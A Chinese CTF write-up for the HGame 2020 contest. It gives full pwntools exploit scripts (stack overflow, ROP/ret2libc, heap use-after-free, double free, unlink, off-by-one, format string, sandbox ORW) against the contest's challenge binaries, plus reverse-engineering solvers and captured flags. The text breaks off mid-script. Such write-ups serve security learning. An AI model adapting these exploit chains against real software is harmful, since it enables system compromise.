HGame

杭电在2020年初寒假[四个月]中举办了一场为期四周的招新赛,题目几乎常规题,百度就能查询到类似的EXP

Week_ONE

Pwn

第一题,Hard_AAAAA
直接贴EXP,很简单的一个gets函数引发的溢出

1
from pwn import*
2
p = remote('47.103.214.163',20000)
3
p.recv()
4
payload = 'A'*123+ '0O0o\x00O0\x00'
5
p.sendline(payload)
6
p.interactive()

第二题,Number_Killer
首先会进行20次函数调用,每次会输入不超过20个字符,以’\n’为截止部分,调用的函数返回利用atoll函数会转化输入的’\n’之前的字符为长整型变量。
然后直接利用puts函数打印出puts函数的真实地址,找到对应的libc版本,然后直接利用,贴出EXP,都是很简单的入门题。

1
from pwn import*
2
from LibcSearcher import*
3
context.log_level = 'debug'
4
p = remote('47.103.214.163',20001)
5
#p = process('./Number_Killer')
6
elf = ELF('Number_Killer')
7
p.recvuntil("Let's Pwn me with numbers!")
8
pop_rdi_ret = 0x400803 #4196355
9
main_addr = 0x4006F6 #4196086
10
puts_plt = 0x40051C #4195612
11
puts_got = 0x601018 #6295576
12
for i in range(0,11):
13
	p.sendline('0')
14
p.sendline('47244640256')
15
p.sendline('0')
16
p.sendline('4196355')
17
p.sendline('6295576')
18
p.sendline('4195612')
19
p.sendline('4196086')
20
p.sendline('0')
21
p.sendline('0')
22
p.sendline('0')
23
p.recvline()
24
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
25
log.success('Puts_Addr:\t' + hex(puts_addr))
26
libc = LibcSearcher('puts',puts_addr)
27
libcbase = puts_addr - libc.dump('puts')
28
system_addr = libcbase + libc.dump('system')
29
binsh_addr = libcbase+libc.dump('str_bin_sh')
30
31
for i in range(0,11):
32
	p.sendline('0')
33
p.sendline('47244640256')
34
p.sendline('0')
35
p.sendline(str(int(hex(pop_rdi_ret),16)))
36
p.sendline(str(int(hex(binsh_addr),16)))
37
p.sendline(str(int(hex(system_addr),16)))
38
p.sendline('0')
39
p.sendline('0')
40
p.sendline('0')
41
p.sendline('0')
42
p.interactive()

第三题,One_Shot
简单的Pwn题,读一遍程序伪C代码,首先将flag读入到bss段变量flag处,然后输入32个字符,看一遍bss段,name位于flag的上方,然后在&V4输入了一个值,后面又需要取V4 = 1,此处相当于会取我们输入的值的作为地址,令该地址的值为1,最后输出name的字符串,由于scanf输入字符串,会自动在字符串末补上’\x00’,又因为puts打印字符串遇到’\x00’则截断,所以利用V4 = 1,使’\x00’地址处为1

1
from pwn import*
2
p = remote('47.103.214.163',20002)
3
p.recv()
4
p.sendline('U'*0x1A+'FLAG:')
5
p.recv()
6
p.sendline('6295775')
7
p.interactive()

第四题,ROP_LEVEL0
简单的64位栈溢出,五分钟一道的难度,直接贴EXP

1
from pwn import*
2
from LibcSearcher import*
3
context.log_level = 'debug'
4
p = remote('47.103.214.163',20003)
5
#p = process('ROP_LEVEL0')
6
elf = ELF('ROP_LEVEL0')
7
puts_plt = elf.plt['puts']
8
puts_got = elf.got['puts']
9
p.recvuntil('./flag')
10
pop_rdi_ret = 0x400753
11
main_addr = 0x40065B
12
payload = 'U'*(0x50+8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
13
p.sendline(payload)
14
p.recvline()
15
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
16
log.success('Puts_Addr:\t' + hex(puts_addr))
17
libc = LibcSearcher('puts',puts_addr)
18
libcbase = puts_addr - libc.dump('puts')
19
system = libcbase + libc.dump('system')
20
binsh = libcbase + libc.dump('str_bin_sh')
21
22
p.recvuntil('./flag')
23
payload_II = 'U'*(0x50+8) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
24
p.sendline(payload_II)
25
p.interactive()

Reverse

第一题,Maze
简单的迷宫题,v5指向unk_6020C4数组首地址,每次以四个字节横向移动,每次64个字节纵向移动,每次循环判断V5移动到的位置是否为1,不为1则输出错误
稍微写一个程序,直接出路径,然后以wasd走出去即可

1
#include<stdio.h>
2
#include<string.h>
3
int main()
4
{
5
	int  N[] =
6
	{
7
	  0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01,
8
	  0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00,
9
	  0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00,
10
	  0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00,
11
	  0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01,
12
	  0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00,
13
	  0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00,
14
	  0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00,
15
	  0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01,
16
	  0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01,
17
	  0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01,
18
	  0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00,
19
	  0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00,
20
	  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00,
21
	  0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00,
22
	  0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00,
23
	  0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
24
	  0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00,
25
	  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01,
26
	  0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01,
27
	  0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
28
	  0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01,
29
	  0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01,
30
	  0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01,
31
	  0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00,
32
	  0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01,
33
	  0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01,
34
	  0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00,
35
	  0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00,
36
	  0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01,
37
	  0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01,
38
	  0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00,
39
	  0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00,
40
	  0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01,
41
	  0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01,
42
	  0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01,
43
	  0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00,
44
	  0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01,
45
	  0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00,
46
	  0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01,
47
	  0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01,
48
	  0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01,
49
	  0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01,
50
	  0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00,
51
	  0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00,
52
	  0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00,
53
	  0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00,
54
	  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01,
55
	  0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00,
56
	  0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
57
	  0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01,
58
	  0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01,
59
	  0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00,
60
	  0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00,
61
	  0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00,
62
	  0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
63
	  0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00,
64
	  0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01,
65
	  0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00,
66
	  0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01,
67
	  0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01,
68
	  0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01,
69
	  0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01,
70
	  0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01,
71
	  0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00,
72
	  0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01,
73
	  0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00,
74
	  0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01,
75
	  0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01,
76
	  0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00,
77
	  0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00,
78
	  0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00,
79
	  0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00,
80
	  0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00,
81
	  0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01,
82
	  0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01,
83
	  0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00,
84
	  0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01,
85
	  0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00,
86
	  0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
87
	  0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00,
88
	  0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01,
89
	  0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00,
90
	  0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00,
91
	  0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01,
92
	  0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00,
93
	  0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00,
94
	  0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00,
95
	  0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01,
96
	  0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00,
97
	  0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01,
98
	  0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01,
99
	  0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00,
100
	  0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
101
	  0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01,
102
	  0x01, 0x01
103
	};
104
105
	for(int i = 0;i<sizeof(N)/4;i+=4)
106
	{
107
		if(i %64 == 0)
108
			putchar(10);
109
		if(N[i] == 1)
110
			printf(" ");
111
		else
112
			printf("N");
113
114
	}
115
}

第二题,BitWise
算法逆向一遍就出来了

1
import string
2
str_I  = 'e4sy_Re_'
3
str_II = 'Easylif3'
4
List = [76,60,-42,54,80,-120,32,-52]
5
flag_I  = []
6
flag_II = []
7
for i in range(0,8):
8
	P = (List[i]^ord(str_I[i]))%256
9
	flag_I.append(P)
10
for l in range(0,8):
11
	Q = ( (ord(str_I[l])^List[l]) ^ord(str_II[l])) %256
12
	flag_II.append(Q)
13
print flag_I
14
print flag_II
15
16
flag_III = []
17
flag_IV = []	
18
# from back to front
19
for c in range(7,-1,-1): 
20
	for n in range(0,256):
21
		if flag_I[c] == (((n&0x55) ^ ((flag_II[7-c]&0xAA)>>1))| (n&0xAA))%256:
22
			T1 = n	
23
			break;
24
	for n in range(0,256):
25
		if flag_II[7-c] == ((2*( T1&0x55 )^ (n&0xAA)) | (n&0x55))%256:
26
			T2 = n
27
			break;
28
	for n in range(0,256):
29
		if T1== ((n&0x55) ^ ( (T2 &0xAA)>>1) | (n&0xAA))%256:
30
			T1 = n
31
			break;
32
	for n in range(0,256):	
33
		if T1 ==(((n&0xE0)>>5)| (8*n))%256:
34
			T1 = n
35
			break;
36
	flag_III.append(T1)
37
	flag_IV.append(T2)
38
flag_III.reverse()
39
print flag_III
40
print flag_IV
41
42
def re(list):
43
	I = []
44
	II = []
45
	for c in range(0,8):
46
		for i in range(0,0x10):
47
			for n in range(0,0x10):
48
				if list[c] ==  0x10* i + n:
49
					I.append(i)
50
					II.append(n)
51
	flag = ''
52
	print I
53
	print II
54
	for q in range(0,8):
55
		if I[q] >=0 and I[q] <= 9:
56
			I[q] += 48
57
		else:
58
			I[q] +=87
59
		if II[q] >=0 and II[q] <= 9:
60
			II[q] += 48
61
		else:
62
			II[q] +=87
63
		#print 'ONE:\t'+chr(I[q]) + ' TWO\t' + chr(II[q])
64
		flag +=( chr(I[q])+chr(II[q]))
65
	return flag
66
str = re(flag_III)+re(flag_IV)
67
print str

第三题,Advance
其实就是一个base64加密flag,然后取每个字符在base64码的下标作为程序里面其中数组的下标,如果flag字节不足3的倍数,则编码后的flag用=补齐,最后函数返回与0g371wvVy9qPztz7xQ+PxNuKxQv74B/5n/zwuPfX’进行比较

1
import base64,string
2
str = '0g371wvVy9qPztz7xQ+PxNuKxQv74B/5n/zwuPfX'
3
S = 'abcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZ'
4
ASCII ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
5
list = []
6
flag = ''
7
for i in range(0,len(str)):
8
	n = S.find(str[i])
9
	list.append(n)
10
	flag += ASCII[n]
11
print list
12
print base64.b64decode(flag)

第四题,CPP
不需要太多的线性代数的知识,只需要知道矩阵相乘即可,首先将输入的flag以” _ “分割,再利用atoll将分割后的字符串转化为长整型,最后进行矩阵相乘,每次结果与上述已给9个值进行相等比较,逆向算出的结果需要转化为有符号型整型,然后以” _ “拼接在一起,则为flag,此题直接手算,写代码太麻烦了吧。

FLAG

1:hgame{0OoO0oo0O0Oo}
2:hgame{Ea2y_2hel1c0de_1n_St4ck}
3:hgame{On3_Sh0t_0ne_Fl4g}
4:hgame{R0P_1s_H4cK3rs’_RoM4nC3}

Reverse
1:hgame{ssssddddddsssssddwwdddssssdssdd}
2:hgame{0f233e63637982d266cbf41ecb1b0102}
3:hgame{b45e6a_i5_50_eazy_6VVSQ}
4:hgame{-24840_-78193_51567_2556_-26463_26729_3608_-25933_25943}
关于Crypto、Web、Misc等题,可进入我队友的博客查看

Week_TWO

水了几天了,就做了几道pwn题,re做了两个最简单的,沉迷于小说去了
re就不写了,写三个pwn题吧,最后一个还没去想
1.Find_YourSelf
getcwd()函数取得的目录即/proc/self/cwd 值一样,则第一步利用 ls -l /proc/self/cwd 打印出软链接到哪个目录,从而绕过主函数的strcmp,在Linux系统里面,$0其实就代表/bin/sh,所以第二个命令就提交$0,故可取得权限,然后由于程序关闭了标准输出和错误输出,可将cat flag输出的内容重定向标准输入,则在权限取得之后,输入

1
$ cat flag >&0

EXP………

1
from pwn import*
2
p = remote('47.103.214.163',21000)
3
context.log_level = 'debug'
4
p.sendline('ls -l /proc/self/cwd')
5
p.recvuntil('/tmp')
6
dir = '/tmp'+p.recvuntil('\n',drop = True)
7
p.sendline(dir)
8
p.sendline("$0")
9
p.interactive()

2.Roc826s_Note
简单的堆题,delete后没有置0,存在UAF漏洞,首先利用申请一个大于fast_bin的chunk块,然后申请两个fast_bin块,删除第一个,最后利用show函数打印chunk0,打印出来的地址为main_arena+88,在libc找到main_arena大小,可以确定libc基址,最后利用double free实现__malloc_hook改one_gadget

1
from pwn import*
2
p = process('./Roc826')
3
p = remote('47.103.214.163',21002)
4
elf = ELF('Roc826')
5
libc = ELF('libc-2.23.so')
6
context.log_level = 'debug'
7
def add(size,data):
8
	p.recvuntil('exit')
9
	p.sendline('1')
10
	p.sendlineafter('size?',size)
11
	p.sendlineafter('content:',data)
12
def dele(index):
13
	p.recvuntil('exit')
14
	p.sendline('2')
15
	p.sendlineafter('index?',index)
16
def show(index):
17
	p.recvuntil('4.exit')
18
	p.sendline('3')
19
	p.sendlineafter('index?',index)
20
def exit():
21
	p.recvuntil('exit')
22
	p.sendline('4')
23
add('136','U'*0x10) #0
24
add('96','ZZZZ')#1
25
add('96','SSSS')#2
26
27
dele('0')
28
show('0')
29
p.recvuntil('content:')
30
libcbase = u64(p.recv(6).ljust(8,'\x00'))-0x3C4B20-88
31
log.success('LibcBase:\t'+hex(libcbase))
32
onegadget = libcbase + 0xf1147
33
malloc_hook=libcbase+0x3C4B20-0x10
34
add('136','U'*0x10)
35
dele('1')
36
dele('2')
37
dele('1')
38
add('96',p64(malloc_hook-0x23))
39
add('96','SSSS')
40
add('96','ZZZZ')
41
add('96','\x00'*19+p64(onegadget))
42
p.sendline('1')
43
p.sendlineafter('size?','10')
44
p.interactive()

3.Another_Heaven
利用最开始的一个地址任意写,以及strcmp和flag比较,从而可以爆破flag,EXP比较好写

1
#-*- coding:utf-8 -*-
2
from pwn import*
3
import string,base64
4
context.log_level = 'debug'
5
flag_addr = 6300000
6
def leak(var,addr):
7
	#p = process('Another_Heaven')
8
	p = remote('47.103.214.163',21001)
9
	elf = ELF('Another_Heaven')
10
	p.recv()
11
	p.sendline(str(addr))
12
	p.sendline('\x00E99p1ant')
13
	p.sendlineafter('Password:',var)
14
	data = p.recv()
15
	p.close()
16
	if data.startswith("Welcome!"):
17
		return var
18
	elif data.startswith("Wrong"):
19
		return None
20
FLAG = 'hgame{'
21
addr = 6300000+7
22
for n in range(0,64):
23
	if FLAG.endswith('}'):
24
		break
25
	for i in string.printable:
26
		tmp = leak((FLAG+i),addr)
27
		if tmp == None:
28
			continue
29
		else:
30
			FLAG+=i
31
			addr +=1
32
			break
33
log.success('FLAG:\t'+FLAG)

4.明天,明天一定做,算了,咕了吧,看小说去(手动滑稽
不想做了,把官方WP改一下,本地调试过了就发出来了,WEEK3…
首先利用任意写打印PIE基址,然后利用flag==1,E99处修改puts的got表内容为printf的plt表地址,则puts(name)变为printf(name),在第二次name输入时,可以手动构造格式化字符串漏洞,打印Canary和libcbase,第三次回到开始,即可变成在一个ROP向下栈溢出

1
#coding=utf8
2
from pwn import*
3
p = process('Metaphysical_Necrosis')
4
elf = ELF('Metaphysical_Necrosis')
5
context.log_level = 'debug'
6
puts_plt = elf.plt['puts']
7
puts_got = elf.got['puts']
8
libc = ELF('libc-2.23.so')
9
#p = remote('47.103.214.163',21003)
10
11
p.sendline('3')
12
p.send('\x90\x49') #String<8B From [RBP-10] To Down
13
p.sendline('') #getchar()
14
p.sendline('') #getchar()
15
p.sendline('FMYY') #name in BSS
16
p.sendline('0') #Array[160] [RBP-BO]
17
p.sendline('') #getchar()
18
p.sendline('') #getchar()
19
p.sendline('-21')
20
p.recvuntil('Terrorist Win\n')
21
pie = u64(p.recv(6).ljust(8,'\x00')) - 0x990
22
log.success('PIE:\t'+hex(pie))
23
binsh_addr = 0x2020E0 + pie
24
pop_rdi_ret = pie+0xF93
25
p.sendline(p64(pie+0x906)[0:6]) #&E99+var Modify The Puts To Printf
26
#-------------------
27
p.sendline('3')
28
p.send('\x90\x49')
29
p.sendline('')
30
p.sendline('')
31
p.sendline('PP%29$pNN%33$pQQ')
32
p.sendline('0')
33
p.recvuntil('PP')
34
canary = int(p.recvuntil('NN',drop = True),16)
35
log.success('Canary:\t' + hex(canary))
36
libcbase = int(p.recv(14),16)-libc.sym['__libc_start_main']-0xF0
37
system_addr = libcbase + libc.sym['system']
38
log.success('LibcBase:\t' + hex(libcbase))
39
p.sendline('') #getchar()
40
p.sendline('') #getchar()
41
p.sendline('0')
42
#----------------------
43
p.sendline('3')
44
p.send('\x90\x49')
45
p.sendline('') #getchar()
46
p.sendline('') #getchar()
47
p.sendline('/bin/sh\x00')
48
p.sendline('-2147000038')
49
for i in range(21):
50
	p.sendline('0')
51
p.send(p64(canary))
52
p.sendline('0')
53
p.sendline(p64(pop_rdi_ret))
54
p.sendline(p64(binsh_addr)) #binsh_addr <-name
55
p.sendline(p64(system_addr))
56
p.sendline('')
57
p.sendline('')
58
p.sendline('0')
59
p.interactive()

Week_THR

1.ROP
沙盒函数,利用ORW直接读flag文件,又因为前面已经打开过一个文件,故fd改为4

1
from pwn import*
2
from LibcSearcher import *
3
p = remote('47.103.214.163',20300)
4
#p = process('./ROP')
5
elf = ELF('ROP')
6
context.log_level = 'debug'
7
puts_plt = elf.plt['puts']
8
open_got = elf.got['open']
9
read_got = elf.got['read']
10
leave_ret = 0x40090D
11
buf = 0x6010A0
12
pop_rdi_ret = 0x400A43
13
csu_gadget = 0x400A3A
14
FLAG = elf.bss()+0x200
15
p.recvuntil('so?')
16
payload = '/flag\x00\x00\x00' # r12->call r13->rdx r14->rsi r15->rdi
17
payload += p64(csu_gadget)+p64(0)+p64(1)+p64(open_got)+p64(0)+p64(0)+p64(buf)+p64(0x400A20)+2*p64(0)+p64(1)+p64(0)*(6+1-3)
18
payload += p64(csu_gadget+2)+p64(read_got)+p64(0x20)+p64(FLAG)+p64(4)+p64(0x400A20)+2*p64(0)+p64(1)+p64(0)*(6+1-3)
19
payload += p64(pop_rdi_ret)+p64(FLAG)+p64(puts_plt)
20
p.send(payload)
21
p.recvuntil('flag\n\n')
22
payload_II = 'U'*0x50 + p64(buf)+p64(leave_ret)
23
p.sendline(payload_II)
24
p.recv()
25
p.close()

2.Annevi_Note
由于存在堆溢出,可以修改下一个chunk块的presize和size域,即可引发unlink,实现任意写,最后利用free_hook改one_gadget,一把梭

1
from pwn import*
2
p = remote('47.103.214.163',20301)
3
#p = process('./Annevi')
4
elf = ELF('Annevi')
5
libc = ELF('libc-2.23.so')
6
puts_got = elf.got['puts']
7
context.log_level = 'debug'
8
context(arch = 'amd64',os ='linux')
9
def add(size,content):
10
	p.sendlineafter('edit\n:','1')
11
	p.sendlineafter('size?',str(size)) # size>=144
12
	p.sendlineafter('content:',content)
13
def dele(index):
14
	p.sendlineafter('edit\n:','2')
15
	p.sendlineafter('index?',str(index))
16
def show(index):
17
	p.sendlineafter('edit\n:','3')
18
	p.sendlineafter('index?',str(index))
19
def edit(index,content):
20
	p.sendlineafter('edit\n:','4')
21
	p.sendlineafter('index?',str(index))
22
	p.sendlineafter('content:',content)
23
List = 0x602040
24
add(0x90,'U'*0x10)	#0
25
add(0x90,'U'*0x10)	#1
26
#----------create the fake chunk
27
payload  = p64(0)
28
payload += p64(0x90) # size
29
payload += p64(List - 0x18) # fd List[0]-0x18
30
payload += p64(List - 0x10) # bk List[0]-0x10
31
#----------
32
payload = payload.ljust(0x90,'\x00') #padding
33
payload += p64(0x90)
34
payload += p64(0xA0)
35
edit(0,payload)
36
dele(1)
37
payload = 'U'*0x18 + p64(puts_got) + p64(List)
38
edit(0,payload)
39
show(0)
40
p.recvuntil('content:')
41
libcbase = u64(p.recv(6).ljust(8,'\x00')) - libc.symbols['puts']
42
log.success('LibcBase:\t' + hex(libcbase))
43
system = libcbase + libc.sym['system']
44
str_bin_sh = libcbase + 0x18CD57
45
free_hook = libcbase + 0x3C67A8
46
edit(1,p64(free_hook)+p64(str_bin_sh))
47
edit(0,p64(system))
48
dele(1)
49
p.interactive()

3.E99p1ant_Note
offbyone漏洞,由于64位程序,对齐16位大小,故申请空间的时候,申请大小最低位为8,即可修改下一个chunk块size域中的flag位,从而利用overlap+fastbin_attack,还有因为unsorted bin切分块,可以取得main_arena+88的值,然后通过double free改malloc_hook为one_gadget

1
#coding=utf8
2
from pwn import*
3
p = remote('47.103.214.163',20302)
4
#p = process('./E99')
5
elf = ELF('E99')
6
libc = ELF('libc-2.23.so')
7
puts_got = elf.got['puts']
8
context.log_level = 'debug'
9
context(arch = 'amd64',os ='linux')
10
def add(size,content):
11
	p.sendlineafter('edit\n:','1')
12
	p.sendlineafter('size?',str(size)) # size<=256
13
	p.sendafter('content:',content)
14
def dele(index):
15
	p.sendlineafter('edit\n:','2')
16
	p.sendlineafter('index?',str(index))
17
def show(index):
18
	p.sendlineafter('edit\n:','3')
19
	p.sendlineafter('index?',str(index))
20
def edit(index,content):
21
	p.sendlineafter('edit\n:','4')
22
	p.sendlineafter('index?',str(index))
23
	p.sendafter('content:',content)
24
add(0x28,'\n') #0
25
add(0xF8,'\n') #1
26
add(0x68,'\n') #2
27
add(0x60,'\n') #3
28
dele(1)
29
payload = '\x00'*0x28 + '\x71'
30
edit(0,payload)
31
payload = '\x00'*0x60 + p64(0x170) + '\x70'
32
edit(2,payload)
33
add(0xF8,'\n')
34
show(2)
35
main_arena = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 88
36
log.success('Main_Arena:\t' + hex(main_arena))
37
libcbase = main_arena - (libc.symbols['__malloc_hook'] + 0x10)
38
malloc_hook = libcbase + libc.symbols['__malloc_hook']
39
one_gadget = libcbase + 0xF1147
40
add(0x60,'\n')
41
dele(3)
42
dele(2)
43
payload = p64(malloc_hook-0x23)+'\n'
44
edit(4,payload)
45
add(0x60,'\n')
46
add(0x60,'\x00'*0x13 + p64(one_gadget)+'\n')
47
#p.sendlineafter('edit\n:','1')
48
#p.sendlineafter('size?','32')
49
dele(2)
50
dele(4)
51
p.interactive()

4.补回来了,一个C++逆向,很简单,发现overwrite那里会溢出覆写到下一个列表的chunk块中,且got表可改,则直接溢出到下一个列表中的ITEM地址,从而修改其ITEM地址,替换成的atol函数的got表地址,show_item则打印真实地址,继而利用edit修改got表为system,这里由于写入system时用到atoi,则我们转而利用atol函数才行

1
from pwn import*
2
p = process('./main')
3
p = remote('47.103.214.163',20303)
4
elf  = ELF('main')
5
libc = ELF('libc-2.23.so')
6
def create(size):
7
	p.sendlineafter('>','1')
8
	p.sendlineafter('List count: ',str(size))
9
def show(index,item):
10
	p.sendlineafter('>','2')
11
	p.sendlineafter('List id: ',str(index))
12
	p.sendlineafter('Item id: ',str(item))
13
def edit(index,item,num):
14
	p.sendlineafter('>','3')
15
	p.sendlineafter('List id: ',str(index))
16
	p.sendlineafter('Item id: ',str(item))
17
	p.sendlineafter('New number: ',str(num))
18
def overwrite(index,star,end,num):
19
	p.sendlineafter('>','4')
20
	p.sendlineafter('List id: ',str(index))
21
	p.sendlineafter('Star id: ',str(star))
22
